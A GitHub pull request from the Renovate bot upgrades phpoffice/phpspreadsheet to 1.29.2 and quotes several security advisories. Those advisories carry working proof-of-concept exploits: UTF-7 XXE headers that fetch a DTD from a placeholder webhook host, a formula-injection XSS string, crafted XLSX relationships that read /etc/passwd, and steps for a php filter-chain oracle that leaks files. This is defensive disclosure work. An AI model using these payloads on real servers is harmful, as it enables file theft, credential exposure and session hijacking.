Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

fix(deps): update dependency phpoffice/phpspreadsheet to v1.29.2 [security] - autoclosed #607

Conversation

renovate[bot]
Copy link
Contributor

@renovate renovate bot commented Oct 8, 2024

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
phpoffice/phpspreadsheet 1.25.2 -> 1.29.2 age adoption passing confidence

GitHub Vulnerability Alerts

CVE-2024-45048

Summary

Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @​ symbol. (LFI-attack)

Details

Check $pattern = '/encoding="(.*?)"/'; easy to bypass. Just use a single quote symbol '. So payload looks like this:

<?xml version="1.0" encoding='UTF-7' standalone="yes"?>
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://example.com/file.dtd"> %xxe;]>

If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute.

PoC

  1. Create simple xlsx file
  2. Rename xlsx to zip
  3. Go to the zip and open the xl/sharedStrings.xml file in edit mode.
  4. Replace <?xml version="1.0" encoding="UTF-8" standalone="yes"?> to
<?xml version="1.0" encoding='UTF-7' standalone="yes"?>
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://%webhook%/file.dtd"> %xxe;]>
  1. Save sharedStrings.xml file and rename zip back to xlsx.
  2. Use minimal php code that simply opens this xlsx file:
use PhpOffice\PhpSpreadsheet\IOFactory;
require __DIR__ . '/vendor/autoload.php';
$spreadsheet = IOFactory::load("file.xlsx");
  1. You will receive the request to your http://%webhook%/file.dtd
  2. Dont't forget that you can use php-wrappers into xxe, some php:// wrapper payload allows fetch local files.

Impact

Read local files
lfi

CVE-2024-45046

Summary

\PhpOffice\PhpSpreadsheet\Writer\Html doesn't sanitize spreadsheet styling information such as font names, allowing an attacker to inject arbitrary JavaScript on the page.

PoC

Example target script:

<?php

require 'vendor/autoload.php';

$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader("Xlsx");
$spreadsheet = $reader->load(__DIR__ . '/book.xlsx');

$writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet);
print($writer->generateHTMLAll());

Save this file in the same directory:
book.xlsx

Open index.php in a web browser. An alert should be displayed.

Impact

Full takeover of the session of users viewing spreadsheet files as HTML.

CVE-2024-45060

Summary

One of the sample scripts in PhpSpreadsheet is susceptible to a cross-site scripting (XSS) vulnerability due to improper handling of input where a number is expected leading to formula injection.

Details

The following code in 45_Quadratic_equation_solver.php concatenates the user supplied parameters directly into spreadsheet formulas. This allows an attacker to take control over the formula and output unsanitized data into the page, resulting in JavaScript execution.

$discriminantFormula = '=POWER(' . $_POST['B'] . ',2) - (4 * ' . $_POST['A'] . ' * ' . $_POST['C'] . ')';
$discriminant = Calculation::getInstance()->calculateFormula($discriminantFormula);

$r1Formula = '=IMDIV(IMSUM(-' . $_POST['B'] . ',IMSQRT(' . $discriminant . ')),2 * ' . $_POST['A'] . ')';
$r2Formula = '=IF(' . $discriminant . '=0,"Only one root",IMDIV(IMSUB(-' . $_POST['B'] . ',IMSQRT(' . $discriminant . ')),2 * ' . $_POST['A'] . '))';

PoC

  1. Access 45_Quadratic_equation_solver.php in a browser
  2. Enter any valid values for for b and c, and enter the following for a
1) & ("1)),1)&char(60)&char(105)&char(109)&char(103)&char(32)&char(115)&char(114)&char(99)&char(61)&char(120)&char(32)&char(111)&char(110)&char(101)&char(114)&char(114)&char(111)&char(114)&char(61)&char(97)&char(108)&char(101)&char(114)&char(116)&char(40)&char(41)&char(62)&POWER(((1") &n("1")&(1
  1. Press submit and observe that JavaScript is executed.

exploit-phpspreadsheet

Impact

The impact of this vulnerability on the project is expected to be relatively low since these are sample files that should not be included when the library is used properly (e.g., through composer). However, at least two instances of popular WordPress plugins have unintentionally exposed this file by including the entire git repository. Since these files also serve as reference points for developers using the library, addressing this issue can enhance security for users.

A solution to fix the vulnerability is proposed below, and a request for a CVE assignment has been made to facilitate responsible disclosure of the security issue to the affected WordPress plugins.

Remediation

A quick and easy solution to prevent this attack is to force the parameters to be numerical values:

if (isset($_POST['submit'])) {
    $_POST['A'] = floatval($_POST['A']);
    $_POST['B'] = floatval($_POST['B']);
    $_POST['C'] = floatval($_POST['C']);
    if ($_POST['A'] == 0) {

Thank you for your time!

CVE-2024-45291

Summary

It's possible for an attacker to construct an XLSX file that links images from arbitrary paths. When embedding images has been enabled in HTML writer with $writer->setEmbedImages(true); those files will be included in the output as data: URLs, regardless of the file's type. Also URLs can be used for embedding, resulting in a Server-Side Request Forgery vulnerability.

Details

XLSX files allow embedding or linking media. When

In xl/drawings/drawing1.xml an attacker can do e.g.:

<a:blip cstate="print" r:link="rId1" />

And then, in xl/drawings/_rels/drawing1.xml.rels they can set the path to anything, such as:

<Relationship Id="rId1"
    Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image"
    Target="/etc/passwd" />

or

<Relationship Id="rId1"
    Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image"
    Target="http://example.org" />

When the HTML writer is outputting the image, it does not check the path in any way. Also the getimagesize() call does not mitigate this, because when getimagesize() returns false, an empty mime type is used.

if ($this->embedImages || str_starts_with($imageData, 'zip://')) {
    $picture = @&#8203;file_get_contents($filename);
    if ($picture !== false) {
        $imageDetails = getimagesize($filename) ?: ['mime' => ''];
        // base64 encode the binary data
        $base64 = base64_encode($picture);
        $imageData = 'data:' . $imageDetails['mime'] . ';base64,' . $base64;
    }
}

$html .= '<img style="position: absolute; z-index: 1; left: '
    . $drawing->getOffsetX() . 'px; top: ' . $drawing->getOffsetY() . 'px; width: '
    . $drawing->getWidth() . 'px; height: ' . $drawing->getHeight() . 'px;" src="'
    . $imageData . '" alt="' . $filedesc . '" />';

PoC

<?php

require 'vendor/autoload.php';

$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader("Xlsx");
$spreadsheet = $reader->load(__DIR__ . '/book.xlsx');

$writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet);
$writer->setEmbedImages(true);
$output = $writer->generateHTMLAll();

// The below is just for demo purposes

$pattern = '/data:;base64,(?<data>[^"]+)/i';

preg_match_all($pattern, $output, $matches);

print("*** /etc/passwd content: ***\n");
print(base64_decode($matches['data'][0]));

print("*** HTTP response content: ***\n");
print(base64_decode($matches['data'][1]));

Add this file in the same directory:
book.xlsx

Run with:
php index.php

Impact

When embedding images has been enabled, an attacker can read arbitrary files on the server and perform arbitrary HTTP GET requests, potentially e.g. revealing secrets. Note that any PHP protocol wrappers can be used, meaning that if for example the expect:// wrapper is enabled, also remote code execution is possible.

CVE-2024-45290

Summary

It's possible for an attacker to construct an XLSX file which links media from external URLs. When opening the XLSX file, PhpSpreadsheet retrieves the image size and type by reading the file contents, if the provided path is a URL. By using specially crafted php://filter URLs an attacker can leak the contents of any file or URL.

Note that this vulnerability is different from GHSA-w9xv-qf98-ccq4, and resides in a different component.

Details

When an XLSX file is opened, the XLSX reader calls setPath() with the path provided in the xl/drawings/_rels/drawing1.xml.rels file in the XLSX archive:

if (isset($images[$embedImageKey])) {
    // ...omit irrelevant code...
} else {
    $linkImageKey = (string) self::getArrayItem(
        $blip->attributes('http://schemas.openxmlformats.org/officeDocument/2006/relationships'),
        'link'
    );
    if (isset($images[$linkImageKey])) {
        $url = str_replace('xl/drawings/', '', $images[$linkImageKey]);
        $objDrawing->setPath($url);
    }
}

setPath() then reads the file in order to determine the file type and dimensions, if the path is a URL:

public function setPath(string $path, bool $verifyFile = true, ?ZipArchive $zip = null): static
{
    if ($verifyFile && preg_match('~^data:image/[a-z]+;base64,~', $path) !== 1) {
        // Check if a URL has been passed. https://stackoverflow.com/a/2058596/1252979
        if (filter_var($path, FILTER_VALIDATE_URL)) {
            $this->path = $path;
            // Implicit that it is a URL, rather store info than running check above on value in other places.
            $this->isUrl = true;
            $imageContents = file_get_contents($path);
            // ... check dimensions etc. ...

It's important to note here, that filter_var considers also file:// and php:// URLs valid.

The attacker can set the path to anything:

<Relationship Id="rId1"
    Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image"
    Target="this can be whatever" />

The contents of the file are not made available for the attacker directly. However, using PHP filter URLs it's possible to construct an error oracle which leaks a file or URL contents one character at a time. The error oracle was originally invented by @​hash_kitten, and the folks at Synacktiv have developed a nice tool for easily exploiting those: https://github.com/synacktiv/php_filter_chains_oracle_exploit

PoC

Target file:

<?php

require 'vendor/autoload.php';

// Attack part: this would actually be done by the attacker on their machine and the resulting XLSX uploaded, but to
// keep the PoC simple, I've combined this into the same file.

$file = "book_tampered.xlsx";
$payload = $_POST["payload"]; // the payload comes from the Python script

copy("book.xlsx",$file);
$zip = new ZipArchive;
$zip->open($file);

$path = "xl/drawings/_rels/drawing1.xml.rels";
$content = $zip->getFromName($path);
$content = str_replace("../media/image1.gif", $payload, $content);
$zip->addFromString($path, $content);

$path = "xl/drawings/drawing1.xml";
$content = $zip->getFromName($path);
$content = str_replace('r:embed="rId1"', 'r:link="rId1"', $content);
$zip->addFromString($path, $content);

$zip->close();

// The actual target - note that simply opening the file is sufficient for the attack

$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader("Xlsx");
$spreadsheet = $reader->load(__DIR__ . '/' . $file);

Add this file in the same directory:
book.xlsx

Serve the PoC from a web server. Ensure your PHP memory limit is <= 128M - otherwise you'll need to edit the Python script below.

Download the error oracle Python script from here: https://github.com/synacktiv/php_filter_chains_oracle_exploit. If your memory limit is greater than 128M, you'll need to edit the Python script's bruteforcer.py file to change self.blow_up_inf = self.join(*[self.blow_up_utf32]*15) to self.blow_up_inf = self.join(*[self.blow_up_utf32]*20). This is needed so that it generates large-enough payloads to trigger the out of memory errors the oracle relies on. Also install the script's dependencies with pip.

Then run the Python script with:

python3 filters_chain_oracle_exploit.py --target [URL of the script] --parameter payload --file /etc/passwd

Note that the attack relies on certain character encodings being supported by the system's iconv library, because PHP uses that. As far as I know, most Linux distributions have them, but notably MacOS does not. So if you're developing on a Mac, you'll want to run your server in a virtual machine with Linux.

Here's the results I got after about a minute of bruteforcing:

image

Impact

An attacker can access any file on the server, or leak information form arbitrary URLs, potentially exposing sensitive information such as AWS IAM credentials.

CVE-2024-45292

Summary

\PhpOffice\PhpSpreadsheet\Writer\Html does not sanitize "javascript:" URLs from hyperlink href attributes, resulting in a Cross-Site Scripting vulnerability.

PoC

Example target script:

<?php

require 'vendor/autoload.php';

$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader("Xlsx");
$spreadsheet = $reader->load(__DIR__ . '/book.xlsx');

$writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet);
print($writer->generateHTMLAll());

Save this file in the same directory:
book.xlsx

Open index.php in a web browser and click on both links. The first demonstrates the vulnerability in a regular hyperlink and the second in a HYPERLINK() formula.

CVE-2024-45293

Summary

The security scanner responsible for preventing XXE attacks in the XLSX reader can be bypassed by slightly modifying the XML structure, utilizing white-spaces. On servers that allow users to upload their own Excel (XLSX) sheets, Server files and sensitive information can be disclosed by providing a crafted sheet.

Details

The security scan function in src/PhpSpreadsheet/Reader/Security/XmlScanner.php contains a flawed XML encoding check to retrieve the input file's XML encoding in the toUtf8 function.

The function searches for the XML encoding through a defined regex which looks for encoding="*" and/or encoding='*', if not found, it defaults to the UTF-8 encoding which bypasses the conversion logic.

$patterns = [
           '/encoding="([^"]*]?)"/',
           "/encoding='([^']*?)'/",
];

This logic can be used to pass a UTF-7 encoded XXE payload, by utilizing a whitespace before or after the = in the attribute definition.

PoC

Needed:

  • An Excel sheet (XLSX) with at least one cell containing a value.

Unzip the excel sheet, and modify the xl/SharedStrings.xml file with the following value (note the space after encoding=):

<?xml version="1.0" encoding= 'UTF-7' standalone="yes"?>
+ADw-!DOCTYPE abc [ ... ]>

Step-by-step

  1. First off, the following string is encoded in base64:
<!ENTITY internal 'abc'  >" 

Resulting in:

PCFFTlRJVFkgaW50ZXJuYWwgJ2FiYycgID4K
  1. The string is used with a parameter entity and the PHP filter wrapper to ultimately define custom entities and call them within the XML.
<?xml version="1.0" encoding= 'UTF-7' standalone="yes"?>
+ADw-!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "php://filter//resource=data://text/plain;base64,PCFFTlRJVFkgaW50ZXJuYWwgJ2FiYycgID4K" > %xxe;]>
<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="1" uniqueCount="1"><si><t>&internal;</t></si></sst>

When this file is parsed by the library, the value abc should be in the original filled cell.

With the help of the PHP filter wrapper, this can be escalated to information disclosure/file read.

Impact

Sensitive information disclosure through the XXE on sites that allow users to upload their own excel spreadsheets, and parse them using PHPSpreadsheet's Excel parser.


Release Notes

PHPOffice/PhpSpreadsheet (phpoffice/phpspreadsheet)

v1.29.2

Compare Source

1.29.2 - 2024-09-29

Fixed
  • Backported security patches.
  • Support for Php8.4.
  • Change to Csv Reader (see below under Deprecated). Backport of PR #​4162 intended for 3.0.0. Issue #​4161
  • Tweaks to ROUNDUP, ROUNDDOWN, TRUNC, AMORDEGRC (results had been different under 8.4).
Changed
  • Images will not be added to spreadsheet if they cannot be validated as images.

v1.29.1: Security Patch

Compare Source

1.29.1 - 2024-09-03

Fixed

v1.29.0

Compare Source

Added
Changed
  • Xlsx Color schemes read in will be written out (previously Excel 2007-2010 Color scheme was always written); manipulation of those schemes before write, including restoring prior behavior, is provided PR #​3476
  • Memory and speed optimisations for Read Filters with Xlsx Files and Shared Formulae. PR #​3474
  • Allow CellRange and CellAddress objects for the range argument in the rangeToArray() method. PR #​3494
  • Stock charts will now read and reproduce upDownBars and subsidiary tags; these were previously ignored on read and hard-coded on write. PR #​3515
Deprecated
  • Nothing
Removed
  • Nothing
Fixed

v1.28.0

Compare Source

Added
  • Support for configuring a Chart Title's overlay PR #​3325
  • Wizards for defining Number Format masks for Numbers, Percentages, Scientific, Currency and Accounting PR #​3334
  • Support for fixed value divisor in fractional Number Format Masks PR #​3339
  • Allow More Fonts/Fontnames for Exact Width Calculation PR #​3326 Issue #​3190
  • Allow override of the Value Binder when setting a Cell value PR #​3361
Changed
  • Improved handling for @​ placeholder in Number Format Masks PR #​3344
  • Improved handling for ? placeholder in Number Format Masks PR #​3394
  • Improved support for locale settings and currency codes when matching formatted strings to numerics in the Calculation Engine PR #​3373 and PR #​3374
  • Improved support for locale settings and matching in the Advanced Value Binder PR #​3376
  • toFormattedString will now always return a string. This can affect the results of toArray, namedRangeToArray, and rangeToArray. PR #​3304
  • Value of constants FORMAT_CURRENCY_EUR and FORMAT_CURRENCY_USD is changed. Issue #​3577 PR #​3377
Deprecated
  • Rationalisation of Pre-defined Currency Format Masks PR #​3377
Removed
  • Nothing
Fixed

v1.27.1

Compare Source

Added
  • Nothing
Changed
  • Nothing
Deprecated
  • Nothing
Removed
  • Nothing
Fixed
  • Fix Composer --dev dependency issue with dealerdirect/phpcodesniffer-composer-installer renaming their master branch to main

v1.27.0

Compare Source

Added
Changed
  • Nothing
Deprecated
  • Nothing
Removed
Fixed

v1.26.0

Compare Source

Added
  • Extended flag options for the Reader load() and Writer save() methods
  • Apply Row/Column limits (1048576 and XFD) in ReferenceHelper PR #​3213
  • Allow the creation of In-Memory Drawings from a string of binary image data, or from a stream. PR #​3157
  • Xlsx Reader support for Pivot Tables PR #​2829
  • Permit Date/Time Entered on Spreadsheet to be calculated as Float Issue #​1416 PR #​3121
Changed
  • Nothing
Deprecated
  • Direct update of Calculation::suppressFormulaErrors is replaced with setter.
  • Font public static variable defaultColumnWidths replaced with constant DEFAULT_COLUMN_WIDTHS.
  • ExcelError public static variable errorCodes replaced with constant ERROR_CODES.
  • NumberFormat constant FORMAT_DATE_YYYYMMDD2 replaced with existing identical FORMAT_DATE_YYYYMMDD.
Removed
  • Nothing
Fixed

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@ThomasAFink ThomasAFink changed the base branch from main to next October 8, 2024 10:59
@renovate renovate bot force-pushed the renovate/packagist-phpoffice-phpspreadsheet-vulnerability branch from 6681ea4 to c62134c Compare October 8, 2024 11:15
@renovate renovate bot changed the title Update dependency phpoffice/phpspreadsheet to v1.29.2 [SECURITY] fix(deps): update dependency phpoffice/phpspreadsheet to v1.29.2 [security] Oct 8, 2024
@renovate renovate bot changed the title fix(deps): update dependency phpoffice/phpspreadsheet to v1.29.2 [security] Update dependency phpoffice/phpspreadsheet to v1.29.2 [SECURITY] Oct 8, 2024
@renovate renovate bot changed the title Update dependency phpoffice/phpspreadsheet to v1.29.2 [SECURITY] fix(deps): update dependency phpoffice/phpspreadsheet to v1.29.2 [security] Oct 9, 2024
@renovate renovate bot changed the title fix(deps): update dependency phpoffice/phpspreadsheet to v1.29.2 [security] Update dependency phpoffice/phpspreadsheet to v1.29.2 [SECURITY] Oct 9, 2024
@renovate renovate bot changed the title Update dependency phpoffice/phpspreadsheet to v1.29.2 [SECURITY] fix(deps): update dependency phpoffice/phpspreadsheet to v1.29.2 [security] Oct 11, 2024
@renovate renovate bot changed the title fix(deps): update dependency phpoffice/phpspreadsheet to v1.29.2 [security] fix(deps): update dependency phpoffice/phpspreadsheet to v1.29.2 [security] - autoclosed Nov 6, 2024
@renovate renovate bot closed this Nov 6, 2024
@renovate renovate bot deleted the renovate/packagist-phpoffice-phpspreadsheet-vulnerability branch November 6, 2024 09:23
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

0 participants